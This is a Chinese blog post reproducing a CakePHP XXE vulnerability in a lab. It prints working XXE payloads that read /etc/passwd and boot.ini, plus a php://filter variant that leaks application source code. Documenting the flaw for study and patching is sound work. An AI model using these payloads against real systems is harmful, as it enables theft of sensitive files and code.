CakePHP XML外部实体漏洞

Posted xzhome

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CakePHP XML外部实体漏洞相关的知识,希望对你有一定的参考价值。

Cakephp XML外部实体漏洞

一、CakePHP详解:

CakePHP是一个开源的PHP on rails的full-stack framework。最开始从Ruby On Rails框架里得到灵感。程序员可使用它来快速创建的Web应用程序。我们的首要目的是使你以一种预置的快速且不失灵活性的方式开展工作。

CakePHP 2.0 - 2.2.0-RC2存在XML外部实体注入漏洞,攻击者可利用此漏洞获取本地文件敏感信息。

二、CakePHP漏洞复现:

搭建好环境,访问

http://172.16.12.2/simplexml_load_string.php
 

进行burp抓包,注入poc

Linux:

<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>

Windows:


<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>

将会读取到passwd文件的内容

如果修改XML中的外部实体为其他协议,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果在浏览器上显示如下

返回值为PD9waHANCnBocGluZm8oKTsNCj8+,经过base64解码,可以看到字符串是index.php的源代码 

 
<?php
 
phpinfo();
 
?>

我们来访问一下index.php,可以看到确实是执行了phpinfo();函数

三、漏洞修复建议:

安装厂商的补丁 

以上是关于CakePHP XML外部实体漏洞的主要内容,如果未能解决你的问题,请参考以下文章

代码审计CLTPHP_v5.5.3前台XML外部实体注入漏洞

09.27安全帮®每日资讯:思科互联网操作系统发现执行任意代码高危漏洞;WebSphere XML外部实体注入(XXE)漏洞

Web漏洞|XXE漏洞详解(XML外部实体注入)

如何修复 Java 中的“禁用 XML 外部实体 (XXE) 处理”漏洞

漏洞通告WebLogic XML外部实体注入漏洞

代码审计CLTPHP_v5.5.3前台XML外部实体注入漏洞分析